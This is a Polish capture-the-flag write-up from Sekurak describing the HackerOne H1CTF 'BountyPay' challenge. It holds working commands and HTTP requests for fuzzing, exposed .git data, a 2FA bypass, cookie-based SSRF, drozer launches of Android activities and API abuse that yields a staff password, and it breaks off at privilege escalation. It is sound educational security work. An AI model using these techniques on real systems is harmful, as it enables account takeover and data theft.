-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

H1CTF – zwycięski raport Jakuba Żoczka z Sekuraka!

02 lipca 2020, 21:20 | ctf, Teksty | komentarzy 7

Wstęp:

Jedna z najpopularniejszych platform Bug Bounty, Hackerone – w ramach promocji swojego wirtualnego eventu H12006 – uruchomiła konkurs w formule Capture The Flag. Nagrodą było zaproszenie na wspomniany ekskluzywny event oraz zaproszenia do prywatnych programów bug bounty. Co ciekawe, główną nagrodę otrzymywało się nie za najszybsze rozwiązanie zadania, a za najlepsze jego udokumentowanie. Mój raport okazał się jednym z trzech wygrywających. 

Wokół zadania zbudowano historie – właściciel H1 zapomniał swojego hasła do konta, musimy je zdobyć i zatwierdzić wypłaty bounty dla Hakerów ;-). Autorom zależało na tym, żeby zadania wyglądały realistycznie i były oparte o prawdziwe znaleziska w ramach programów bug bounty. 

Sam event, który był nagrodą w konkursie właśnie się zakończył i myślę, że warto krótko wspomnieć jak wyglądał. Nie była to typowa konferencja bezpieczeństwa, a Live Hacking Event, gdzie głównym celem ataku był PayPal. Rozszerzony specjalnie na tę okazję scope programu, ciekawe bonusy i możliwość kolaboracji z innymi bug hunterami to niektóre z atrakcji, które czekały na zaproszonych gości. W ostatni dzień eventu hackerzy zaprezentowali najciekawsze znalezione podatności w formule lightnig talków. 

Hackerone zorganizował już kilka tego typu wydarzeń, ten natomiast z uwagi na sytuację epidemiologiczną na świecie po raz pierwszy odbył się w formie wirtualnej. W momencie pisania tego tekstu, w ramach tego niepowtarzalnego wydarzenia wypłacono ponad $422,000 na nagrody oraz bonusy.  

Zanim przejdziemy do szczegółowego opisu rozwiązania zadania – kilka statystyk: 

  • 4282 osób wzięło udział w CTF
  • 210 osób doszło do części mobilnej 
  • 175 dotarła do półmetka 
  • 127 dotarło do ostatniej części
  • 55 osób zdobyło flagę 

W tym artykule przedstawię krok po kroku jak poradziłem sobie z wszystkimi zadaniami.

Rozwiązanie CTF:

Rekonesans

Jako zakres do testów podano wszystkie subdomeny bountypay.h1ctf.com. Moim pierwszym krokiem było zebranie subdomen z wykorzystaniem narzędzia Certificate Search:

Losowo wybrałem serwer app.bountypay.h1ctf.com  jako pierwszy. Znajduje się na nim aplikacja webowa, posiadająca ekran logowania. Pora na aktywny rekonesans z wykorzystaniem aplikacji ffuf oraz jednej z wordlist repozytorium SecLists.

Wynik uruchomienia aplikacji ffuf:

[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://app.bountypay.h1ctf.com/FUZZ" -fc 404 -w /opt/common.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : https://app.bountypay.h1ctf.com/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 404
________________________________________________

.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
css                     [Status: 301, Size: 194, Words: 7, Lines: 8]
images                  [Status: 301, Size: 194, Words: 7, Lines: 8]
js                      [Status: 301, Size: 194, Words: 7, Lines: 8]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [4666/4666] :: Job [1/1] :: 358 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

Plik .git/HEAD  wygląda na interesujący i wskazuje na potencjalny wektor ataku.

Information Disclosure – dostęp do katalogu .git 

Znaleziony plik .git/HEAD sugeruje użycie repozytorium Git. Próba dostępu do pliku config file zdradził kilka interesujących informacji:

[ zoczus@ropchain:~ ]> curl "https://app.bountypay.h1ctf.com/.git/config"
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = https://github.com/bounty-pay-code/request-logger.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master

Publiczne repozytorium Github do którego link znajduje się powyżej zawiera jeden pliklogger.php .

<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

Otrzymujemy informacje o kolejnym pliku dostępnym na serwerze – bp_web_trace.log :

[ zoczus@ropchain:~/stuff/bounty/h1ctf ]> curl "https://app.bountypay.h1ctf.com/bp_web_trace.log"
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

Otrzymany ciąg znaków sugeruje endkodowanie Base64 – wskazuje na to użyty specyficzny zestaw znaków oraz == na końcu każdego z ciągów. Po zdekodowaniu otrzymujemy:

{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

Wśród wpisów możemy znaleźć nazwę użytkownika oraz hasło. Po zalogowaniu do aplikacji ukazuje się prośba o podanie kodu (2FA).

2FA Bypass

Spójrzmy na kod HTML wyświetlonego formularza: 

<form method="post" action="/">
   <input type="hidden" name="username" value="brian.oliver">
   <input type="hidden" name="password" value="V7h0inzX">
   <input type="hidden" name="challenge" value="8e3e68be36e6f28a7b93222a0cb0a216">
   <div class="panel panel-default" style="margin-top:50px">
      <div class="panel-heading">Login</div>
      <div class="panel-body">
         <div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div>
         <div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div>
         <div><input name="challenge_answer" class="form-control"></div>
      </div>
   </div>
   <input type="submit" class="btn btn-success pull-right" value="Login">
</form>

Możemy zauważyć parametr challenge, który wygląda jak hash MD5. Zamieniając wartość wspomnianego parametru na sumę MD5 z ciągu bD83Jk27dQ (znalezionego wcześniej w pliku bp_web_trace.log ) – możemy ponownie użyć pary challenge/answer i skutecznie ominąć mechanizm 2FA.

Ostateczne zapytanie HTTP po wpisaniu wszystkich znalezionych danych:

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
(...)

username=brian.oliver&password=V7h0inzX&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ

Odpowiedź HTTP:

HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:13:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Fri, 10-Jul-2020 00:13:51 GMT; Max-Age=2592000
Location: /
Content-Length: 0

Możemy zauważyć poniższą stronę:

SSRF w api.bountypay.h1ctf.com

Po zalogowaniu do aplikacji widzimy dashboard, który nie zdradza zbyt wielu informacji. Zawiera jeden przycisk (Load Transactions), który nie zwraca żadnych rezultatów. Jednak analizując wysyłane zapytania, możemy zauważyć komunikacje z endpointem  /statements :

GET /statements?month=01&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0
(...)
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

…z następującą odpowiedzią:

{
    "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020",
    "data": "{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"
}

Kilka kwestii, na które warto zwrócić uwagę:

  • Informacja o adresie https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020  w odpowiedzi HTTP
  • Ciasteczko token  zawiera dane zakodowane w base64

Zobaczmy co można znaleźć pod adresem  api.bountypay.h1ctf.com:

Kliknięcie w hiperłącze REST API najpierw wysyła zapytanie do endpointu /redirect , który zwraca kod 302 przekierowując nas na adres podany w parametrze url

HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:37:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: https://www.google.com/search?q=REST API
Content-Length: 0

Wracając do ciasteczka token – po zdekodowaniu wartości, możemy zauważyć strukturę JSON zawierającą pole account_id (którego wartość jest taka sama, jak ta znaleziona w odpowiedzi endpointu /statements). 

{
    "account_id": "F8gHiqSdpK",
    "hash": "de235bffd23df6995ad4e0930baac1a2"
}

Zmodyfikowanie wartości account_id na F8gHiqSdpK/../../../? oraz ponowne zakodowanie w base64 całego tokenu sprawia, że aplikacja wysyła wewnętrznie zapytanie prosto do adresu https://api.bountypay.h1ctf.com/  (dzięki podatności typu Path Traversal).

Dodatkowo – odpowiedź z endpointu /statements zdradza kod HTML odpowiedzi z api.bountypay.h1ctf.com page – mamy więc tutaj do czynienia z podatnością typu SSRF.

{
    "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/?\/statements?month=01&year=2020",
    "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>BountyPay | Login<\/title>\n    <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <div class=\"text-center\" style=\"margin-top:30px\"><img src=\"\/images\/bountypay.png\" height=\"150\"><\/div>\n            <h1 class=\"text-center\">BountyPay API<\/h1>\n            <p style=\"text-align: justify\">Our BountyPay API controls all of our services in one place. We use a <a href=\"\/redirect?url=https:\/\/www.google.com\/search?q=REST+API\">REST API<\/a> with JSON output. If you are interested in using this API please contact your account manager.<\/p>\n        <\/div>\n    <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"
}

Wersja ze sformatowanym HTML:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>BountyPay | Login</title>
    <link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-sm-6 col-sm-offset-3">
            <div class="text-center" style="margin-top:30px"><img src="/images/bountypay.png" height="150"></div>
            <h1 class="text-center">BountyPay API</h1>
            <p style="text-align: justify">Our BountyPay API controls all of our services in one place. We use a <a href="/redirect?url=https://www.google.com/search?q=REST+API">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>
        </div>
    </div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>

Dalsze działania skupiłem na próbie wysyłania zapytań do https://api.bountypay.h1ctf.com/redirect   oraz dostania się do wewnętrznych serwerów lub cloudowych adresów meta-data. Jednak bazując na eksperymentach, endpoint /redirect  zawierał whitelistę adresów, na które można było dokonać przekierowania i była ona raczej ograniczona do serwerów w domenie bountypay.h1ctf.com . Jednym z dozwolonych adresów był znaleziony w fazie rekonesansu software.bountypay.h1ctf.com . Odwiedzając ten adres z przeglądarki widzimy następującą informację:

Jednak używając znalezionej podatności SSRF mamy możliwość podejrzenia zawartości serwera:

{
    "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/&\/statements?month=01&year=2020",
    "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage<\/title>\n    <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage<\/h1>\n            <form method=\"post\" action=\"\/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login<\/div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n                        <div><input name=\"username\" class=\"form-control\"><\/div>\n                        <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n                    <\/div>\n                <\/div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            <\/form>\n        <\/div>\n    <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"
}

Wersja z sformatowanym HTML:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Software Storage</title>
    <link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>

<div class="container">
    <div class="row">
        <div class="col-sm-6 col-sm-offset-3">
            <h1 style="text-align: center">Software Storage</h1>
            <form method="post" action="/">
                <div class="panel panel-default" style="margin-top:50px">
                    <div class="panel-heading">Login</div>
                    <div class="panel-body">
                        <div style="margin-top:7px"><label>Username:</label></div>
                        <div><input name="username" class="form-control"></div>
                        <div style="margin-top:7px"><label>Password:</label></div>
                        <div><input name="password" type="password" class="form-control"></div>
                    </div>
                </div>
                <input type="submit" class="btn btn-success pull-right" value="Login">
            </form>
        </div>
    </div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>

Directory Listing na software.bountypay.h1ctf.com

Z uwagi na fakt, że możemy wysyłać zapytania na serwer software.bountypay.h1ctf.com  z wewnętrznym adresem IP zautomatyzowałem poszukiwania katalogów na serwerze co pozwoliło na znalezienie ciekawie wyglądającego /uploads . Sformatowany wynik HTML:

<html>
   <head>
      <title>Index of /uploads/</title>
   </head>
   <body bgcolor=white>
      <h1>Index of /uploads/</h1>
      <hr>
      <pre><a href=../>../</a>
<a href=/uploads/BountyPay.apk>BountyPay.apk</a>                                        20-Apr-2020 11:26              4043701
</pre>
      <hr>
   </body>
</html>

Bezpośrednie zapytanie o plik BountyPay.apk zakończyło się sukcesem i udało pobrać wspomniany plik.

Aplikacja Android – analiza statyczna i dynamiczna

APK to skrót od Android Application Package, jest to tak naprawdę plik ZIP, który możemy bez problemu rozpakować standardowymi narzędziami. Pakiet zawiera takie pliki jak:

  • Pliki odpowiedzialne za wygląd aplikacji
  • Manifest androidowy
  • Plik classes.dex 

Ostatni plik zawiera bytecode aplikacji. Używając aplikacji dex2jar oraz  jd-gui możemy z łatwością uzyskać dostęp do zdekompilowanego kodu Java:

[ zoczus@kali:~/bounty/h1ctf ]> d2j-dex2jar classes.dex
dex2jar classes.dex -> ./classes-dex2jar.jar
[ zoczus@kali:~/bounty/h1ctf ]> jd-cli classes-dex2jar.jar
[ zoczus@kali:~/bounty/h1ctf ]> mkdir src
[ zoczus@kali:~/bounty/h1ctf ]> mv classes-dex2jar.src.jar src
[ zoczus@kali:~/bounty/h1ctf ]> cd src
[ zoczus@kali:~/bounty/h1ctf/src ]> jar xf classes-dex2jar.src.jar

Do samego kodu wrócimy później, najpierw jednak zainstalujmy aplikacje BountyPay na telefonie z Androidem. Po jej uruchomieniu widzimy następujący ekran:

Podając dowolne dane i przechodząc dalej – dostajemy się do Activity nazwanej PartOneActivity:

W dalszej części użyłem narzędzia Drozer pomagającej w dynamicznej analizie aplikacji, której wynik znajduje się poniżej. 

Selecting a85667c5760b3f76 (Xiaomi Redmi 6A 8.1.0)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)
dz> run shell.exec "pm list packages | grep bounty"
package:bounty.pay
dz> run app.package.attacksurface bounty.pay
Attack Surface:
  5 activities exported
  1 broadcast receivers exported
  0 content providers exported
  0 services exported
    is debuggable

Bazując na powyższym możemy znaleźć 5 wyeksportowanych aktywności. Rzućmy na nie okiem:

dz> run app.activity.info -a bounty.pay
Package: bounty.pay
  bounty.pay.PartThreeActivity
    Permission: null
  bounty.pay.PartTwoActivity
    Permission: null
  bounty.pay.PartOneActivity
    Permission: null
  bounty.pay.MainActivity
    Permission: null
  com.google.firebase.auth.internal.FederatedSignInActivity
    Permission: com.google.firebase.auth.api.gms.permission.LAUNCH_FEDERATED_SIGN_IN
dz> run scanner.activity.browsable -a bounty.pay
Package: bounty.pay
  Invocable URIs:
    three://part
    two://part
    one://part
  Classes:
    bounty.pay.PartThreeActivity
    bounty.pay.PartTwoActivity
    bounty.pay.PartOneActivity

Jest to moment, w którym warto spojrzeć do kodu. W pliku PartOneActivity.java możemy znaleźć następujący fragment:

   if ((getIntent() != null) && (getIntent().getData() != null))
    {
      String str = getIntent().getData().getQueryParameter("start");
      if ((str != null) && (str.equals("PartTwoActivity")) && (paramBundle.contains("USERNAME")))
      {
        str = paramBundle.getString("USERNAME", "");
        SharedPreferences.Editor localEditor = paramBundle.edit();
        paramBundle = paramBundle.getString("TWITTERHANDLE", "");
        localEditor.putString("PARTONE", "COMPLETE").apply();
        logFlagFound(str, paramBundle);
        startActivity(new Intent(this, PartTwoActivity.class));
      }
    }

Z pomocą aplikacji Drozer (lub bezpośrednio z shell’a) możemy spróbować uruchomić activity z następującymi parametrami, co skutkuje przejściem do kolejnego activity:

dz> run app.activity.start --action android.intent.action.VIEW --data-uri "one://part?start=PartTwoActivity"

Krok pierwszy za nami, spójrzmy na kod w pliku PartTwoActivity.java :

  if ((getIntent() != null) && (getIntent().getData() != null))
    {
      Object localObject2 = getIntent().getData();
      localObject1 = ((Uri)localObject2).getQueryParameter("two");
      localObject2 = ((Uri)localObject2).getQueryParameter("switch");
      if ((localObject1 != null) && (((String)localObject1).equals("light")) && (localObject2 != null) && (((String)localObject2).equals("on")))
      {
        localEditText.setVisibility(0);
        localButton.setVisibility(0);
        paramBundle.setVisibility(0);
      }
    }

Po szybkiej analizie po raz kolejny używamy Drozera, analogicznie jak w poprzednim przypadku:

dz> run app.activity.start --action android.intent.action.VIEW --data-uri "two://part?two=light&switch=on"

W aplikacji pojawia się ukryty wcześniej formularz:

Kod odpowiedzialny za walidację formularza:

 public void onDataChange(DataSnapshot paramAnonymousDataSnapshot)
      {
        String str1 = (String)paramAnonymousDataSnapshot.getValue();
        Object localObject = getSharedPreferences("user_created", 0);
        paramAnonymousDataSnapshot = ((SharedPreferences)localObject).edit();
        String str2 = paramView;
        StringBuilder localStringBuilder = new StringBuilder();
        localStringBuilder.append("X-");
        localStringBuilder.append(str1);
        if (str2.equals(localStringBuilder.toString()))
        {
          str1 = ((SharedPreferences)localObject).getString("USERNAME", "");
          localObject = ((SharedPreferences)localObject).getString("TWITTERHANDLE", "");
          PartTwoActivity.this.logFlagFound(str1, (String)localObject);
          paramAnonymousDataSnapshot.putString("PARTTWO", "COMPLETE").apply();
          PartTwoActivity.this.correctHeader();
        }
        else
        {
          Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show();
        }
      }
    });

Aplikacja pobiera dane z formularza i porównuje je z wartością zapisaną w bazie Firebase. W plikach z preferencjami możemy znaleźć access_token do wspomnianej bazy i próbować połączyć się z nią bezpośrednio. Moglibyśmy też próbować ominąć mechanizm  SSL Pinning i spróbować podejrzeć dane w komunikacji sieciowej. Innym sposobem byłoby użycie narzędzi typu Frida czy Objection żeby podejrzeć wartość, która jest porównywana w formularzu. Ja zamiast tego użyłem szybszej metody i spróbowałem tam wartość X-Token znalezioną w pliku PartThreeActivity.java  co zadziałało:

 byte[] decodedDirectoryTwo = Base64.decode("WC1Ub2tlbg==", 0); // wartość zdekodowana - "X-Token"

Po poprawnym wypełnieniu formularza przechodzimy do ostatniej części – PartThreeActivity. Jest to stanowczo najcięższa część z całej części Androidowej z uwagi na zobfuskowany kod:

Na początek zająłem się inicjacją zmiennych:

 if ((getIntent() != null) && (getIntent().getData() != null))
    {
      final Object localObject3 = getIntent().getData();
      localObject2 = ((Uri)localObject3).getQueryParameter("three");
      localObject1 = ((Uri)localObject3).getQueryParameter("switch");
      localObject3 = ((Uri)localObject3).getQueryParameter("header");
      final Object localObject4 = Base64.decode((String)localObject2, 0);
      final Object localObject5 = Base64.decode((String)localObject1, 0);
      localObject4 = new String((byte[])localObject4, StandardCharsets.UTF_8);
      localObject5 = new String((byte[])localObject5, StandardCharsets.UTF_8);

Następnym krokiem było porównywanie wartości:

public void onDataChange(DataSnapshot paramAnonymousDataSnapshot)
        {
          String str = (String)paramAnonymousDataSnapshot.getValue();
          if ((localObject2 != null) && (localObject4.equals("PartThreeActivity")) && (localObject1 != null) && (localObject5.equals("on")))
          {
            paramAnonymousDataSnapshot = localObject3;
            if (paramAnonymousDataSnapshot != null)
            {
              StringBuilder localStringBuilder = new StringBuilder();
              localStringBuilder.append("X-");
              localStringBuilder.append(str);
              if (paramAnonymousDataSnapshot.equals(localStringBuilder.toString()))
              {
                paramBundle.setVisibility(0);
                localButton.setVisibility(0);
                thread.start();
              }
            }
          }

ozpisując wartości zmiennych szczegółowo:

  • localObject4  powinna mieć wartość PartThreeActivity
  • localObject4  jest pobierana ze zmiennej localObject2  (jako base64)
  • localObject2  jest wartością parametru three
  • localObject5  powinna mieć wartość on
  • localObject5  jest pobierana ze zmiennej localObject1 (jako base64)
  • localObject1  jest pobierana z parametru switch
  • localStringBuilder  powinna mieć taką samą wartość jak zmienna  paramAnonymousDataSnapshot
  • paramAnonymousDataSnapshot  powinna mieć taką samą wartość jak localObject3 
  • localStringBuilder  powinna mieć wartość złożoną ze znaku X- oraz str – zakładam, że to po prostu X-Token
  • localObject3  jest wartością parametru header

Biorąc pod uwagę powyższe kończymy ten etap realizując zapytanie pod następujący adres URL:

dz> run app.activity.start --action android.intent.action.VIEW --data-uri "three://part?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token"

Aplikacja ukazuje nam kolejny formularz, w którym powinniśmy podać „leaked hash”:

Przeglądając pliki utworzone w systemie Android możemy odnaleźć plik /data/data/bounty.pay/shared_prefs/user_created.xml z następującą zawartością:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="PARTTWO">COMPLETE</string>
    <string name="USERNAME">zoczus</string>
    <string name="HOST">http://api.bountypay.h1ctf.com</string>
    <string name="PARTONE">COMPLETE</string>
    <string name="TWITTERHANDLE">zoczus</string>
    <string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
</map>

Uzupełniając wspomniany formularz o wartość TOKEN otrzymujemy komunikat, że rozwiązaliśmy zadanie Androidowe oraz, że znalezione informacje przydadzą się w kolejnych zadaniach. 

Informacja o rozwiązaniu zadania:

OSINT

W pewnym momencie trwania CTF na Twitterowym profilu Hackerone pojawił się retweet wskazujący na profil BountyPay.

Jeden z tweetów mówi o nowym pracowniku – Sandrze! Jej profil możemy znaleźć patrząc na osoby obserwujące BountyPay HQ:

W jedynym swoim wpisie na Twitterze Sandra informuje, że to jej pierwszy dzień w nowej pracy, jest bardzo podekscytowana na dowód czego wrzuca zdjęcie swojej firmowej plakietki wraz z identyfikatorem pracownika – STF:8FJ3KFISL3

Ta informacja jest bardzo cenna i przyda się później. :)

Information Disclosure – API

Wracamy z naszymi poszukiwaniami do API. Ponownie enumerując katalogi z użyciem narzędzia ffuf możemy znaleźć następujący endpoint:

[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://api.bountypay.h1ctf.com/api/FUZZ" -fc 404 -w /opt/common.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : https://api.bountypay.h1ctf.com/api/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 404
________________________________________________

staff                   [Status: 401, Size: 28, Words: 4, Lines: 1]

Bezpośrednie zapytanie do endpointu /api/staff  zwraca informacje o brakującym tokenie:

[ zoczus@ropchain:~ ]> curl "https://api.bountypay.h1ctf.com/api/staff"
["Missing or invalid Token"]

Używając wartości Token pozyskanej w zadaniu Androidowym i nagłówka X-Token uzyskujemy kolejne dane:

[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

Zmiana metody HTTP na POST informuje o brakującym parametrze:

[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST
["Missing Parameter"]

Używając poprzednich parametrów z odpowiedzi JSON i podmieniając staff_id na identyfikator Sandry uzyskujemy jej login i hasło:

[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST -d "name=XXX&staff_id=STF:8FJ3KFISL3&password=test"
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

Privilege Escalation w aplikacji Staff

Mając login i hasło Sandry, przechodzimy do kolejnej aplikacji – Staff mieszczącej się pod adresem staff.bountypay.h1ctf.com

Aby dobrze zrozumieć podatność, która się tu znajduje – zacznijmy od przyjrzenia się plikowi /js/website.js :

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })
}), $(".tab").click(function() {
    return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
    $.get("/admin/report?url=" + url, function() {
        alert("Report sent to admin team")
    }), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
 

Najważniejsze elementy, które możemy zauważyć:

  • Jedna z funkcji wysyła zapytanie do /admin/upgrade?username=….  dając użytkownikowi prawa administratora.
  • Istnieje endpoint /admin/report?url=…  służący do powiadamiania administratorów, że na podanej stronie “coś jest nie tak”.
